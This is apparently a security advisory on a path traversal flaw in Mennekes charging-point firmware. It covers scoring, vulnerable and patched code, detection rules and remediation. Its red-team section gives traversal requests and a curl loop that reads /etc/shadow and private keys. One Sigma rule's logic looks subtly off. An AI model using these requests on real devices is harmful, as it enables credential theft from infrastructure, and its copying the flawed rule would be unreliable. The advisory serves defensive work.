CVE-2025-22369

Executive Summary

CVE-2025-22369 exposes a critical path traversal vulnerability in the firmware of Mennekes Smart and Premium Chargingpoints. The ReadFile endpoint lacks proper input validation, allowing an unauthenticated attacker to read arbitrary files from the underlying operating system. This can lead to the disclosure of sensitive configuration data, credentials, and other system files, potentially enabling further compromise of the charging infrastructure. The vulnerability is publicly known, and while no exploit code or Nuclei template is currently available in the hacker arsenal, the attack vector is straightforward and easily weaponizable. The vendor has not yet released a patch, leaving all devices running the affected firmware at high risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex steps are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The exploit cannot affect other components.
• Confidentiality Impact: High (C:H) – Arbitrary file read can expose sensitive data.
• Integrity Impact: None (I:N) – The vulnerability does not allow modification of data.
• Availability Impact: None (A:N) – The vulnerability does not affect system availability.

Threat Level: High. The combination of network accessibility, low complexity, and no required privileges makes this vulnerability attractive for mass exploitation, especially in exposed charging infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the ReadFile endpoint of the Mennekes Smart / Premium Chargingpoint firmware. This endpoint is designed to serve specific files to the client, but it fails to sanitize or validate the file path provided by the user. By supplying a path traversal sequence (e.g., ../../../etc/passwd), an attacker can escape the intended directory and read any file on the filesystem.

The underlying issue is a classic path traversal (CWE-22). The firmware likely uses a function similar to readFile(userInput) without checking if the resolved path stays within an allowed base directory. This allows an attacker to read sensitive files such as:

• /etc/shadow (password hashes)
• /etc/ssl/private/ (TLS private keys)
• Configuration files containing API keys or database credentials
• Firmware source code or other proprietary data

The attack is performed via a simple HTTP GET request to the vulnerable endpoint, e.g.:

GET /ReadFile?file=../../../etc/passwd HTTP/1.1
Host: <target_ip>

No authentication is required, and the response will contain the contents of the requested file.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/ReadFile')
def read_file():
    file_path = request.args.get('file')
    # No validation - directly reads the requested file
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Conceptual):

import os

ALLOWED_DIR = '/var/www/chargingpoint/files/'

@app.route('/ReadFile')
def read_file():
    file_path = request.args.get('file')
    # Resolve the absolute path and ensure it stays within ALLOWED_DIR
    full_path = os.path.realpath(os.path.join(ALLOWED_DIR, file_path))
    if not full_path.startswith(os.path.realpath(ALLOWED_DIR)):
        return "Access denied", 403
    with open(full_path, 'r') as f:
        return f.read()

The patched version uses os.path.realpath to resolve any path traversal sequences and then checks that the resulting path starts with the allowed base directory. This prevents reading files outside the intended scope.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable Mennekes Smart/Premium Chargingpoint firmware in an isolated network.
2. Ensure the device is accessible via HTTP on port 80 or 443.

Exploitation Steps:

1. Identify the vulnerable endpoint by sending a benign request:

   GET /ReadFile?file=test.txt HTTP/1.1
   Host: <target_ip>
   

2. If the endpoint returns a file (or an error indicating file not found), it is likely vulnerable.
3. Exploit the path traversal to read sensitive files:

   GET /ReadFile?file=../../../etc/passwd HTTP/1.1
   Host: <target_ip>
   

4. For Windows-based firmware (if applicable), use backslashes:

   GET /ReadFile?file=..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
   Host: <target_ip>
   

5. Automate the extraction of multiple files using a script:

   #!/bin/bash
   TARGET="192.168.1.100"
   FILES=("/etc/passwd" "/etc/shadow" "/etc/ssl/private/key.pem")
   for file in "${FILES[@]}"; do
       curl "http://$TARGET/ReadFile?file=../../../$file"
   done
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP logs for requests to /ReadFile with suspicious parameters containing ../ or ..\.
2. Look for repeated attempts to read system files like /etc/passwd, /etc/shadow, or Windows equivalents.
3. Alert on any successful read of files outside the expected web root.

Response Steps:

1. Immediately isolate the affected device from the network.
2. Review logs to determine the extent of data exfiltration.
3. Rotate any credentials or keys that may have been exposed.
4. Apply vendor patch as soon as it becomes available, or implement a virtual patch (e.g., WAF rule blocking path traversal patterns).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /ReadFile with parameters containing ../ or ..\
  • Outbound data transfers from the chargingpoint to external IPs (if exfiltration occurs)
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, /etc/ssl/private/, or other sensitive files
  • Modified timestamps on configuration files
• Log IOCs:
  • Web server logs showing GET /ReadFile?file=../../../etc/passwd with a 200 response
  • System logs indicating file read operations on sensitive paths

Detection Engineering

YARA Rule

rule CVE_2025_22369_Mennekes_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting Mennekes chargingpoint ReadFile endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22369"
    strings:
        $s1 = "/ReadFile?file=" ascii wide nocase
        $s2 = "../" ascii wide
        $s3 = "..\\" ascii wide
    condition:
        $s1 and ($s2 or $s3)
}

Sigma Rule

title: CVE-2025-22369 Mennekes Chargingpoint Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting path traversal in Mennekes Smart/Premium Chargingpoint firmware
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22369
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/ReadFile?file='
        cs-uri-query|contains|all:
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate file requests that include '../' in a controlled manner (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22369 Mennekes Chargingpoint Path Traversal Attempt";
    flow:to_server,established;
    content:"/ReadFile?file="; http_uri;
    content:"../"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-22369;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing ../ or ..\ in the file parameter of /ReadFile.
3. Monitor logs for any signs of exploitation and rotate any exposed credentials.

Long-Term Fix:

• Apply the vendor patch as soon as it is released. If no patch is forthcoming, consider replacing the firmware with a secure alternative or implementing a reverse proxy that sanitizes file paths.

Compensating Controls:

• Restrict network access to the chargingpoint management interface to trusted IPs only.
• Enable logging and alerting for all file read operations.
• Conduct a security audit of the entire firmware to identify similar vulnerabilities.

Valters IT